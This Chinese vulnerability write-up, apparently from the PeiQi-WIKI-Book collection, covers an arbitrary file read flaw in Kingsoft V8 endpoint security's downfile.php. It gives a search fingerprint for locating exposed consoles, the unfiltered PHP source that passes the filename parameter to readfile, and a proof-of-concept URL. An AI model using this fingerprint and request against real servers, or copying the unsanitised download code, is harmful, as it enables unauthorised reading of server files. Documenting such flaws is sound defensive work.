金山 V8 终端安全系统 downfile.php 任意文件读取漏洞

文章目录
  1. 金山 V8 终端安全系统 downfile.php 任意文件读取漏洞
  2. 漏洞描述
  3. 漏洞影响
  4. 网络测绘
  5. 漏洞复现

金山 V8 终端安全系统 downfile.php 任意文件读取漏洞

漏洞描述

金山 V8 终端安全系统 存在任意文件读取漏洞,攻击者可以通过漏洞下载服务器任意文件

漏洞影响

✓金山 V8 终端安全系统

网络测绘

✓title="在线安装-V8+终端安全系统Web控制台"

漏洞复现

存在漏洞的文件 /Console/htmltopdf/downfile.php

<?php	
			$filename= $_GET["filename"];
            
			$filename=iconv("UTF-8","GBK//IGNORE", $filename);

   			header("Cache-Control: public"); 
			header("Content-Description: File Transfer"); 
			header('Content-disposition: attachment; filename='.$filename); //文件名   
			header("Content-Type: application/zip"); //zip格式的   
			header("Content-Transfer-Encoding: binary"); //告诉浏览器,这是二进制文件    
			header('Content-Length: '. filesize($filename)); //告诉浏览器,文件大小   
			@readfile($filename);
			?>

文件中没有任何的过滤 通过filename参数即可下载任意文件,POC为

/htmltopdf/downfile.php?filename=downfile.php

img

参考来源:PeiQi-WIKI-Book:https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/f4596359a8b7b31ae4d231eeaec711706b892ed2/docs/wiki/webapp/金山/金山 V8 终端安全系统 downfile.php 任意文件读取漏洞.md;原文完整保留。项目要求转载保留版权声明,未经许可不得修改或商用;多篇来源于第三方,权利待核查。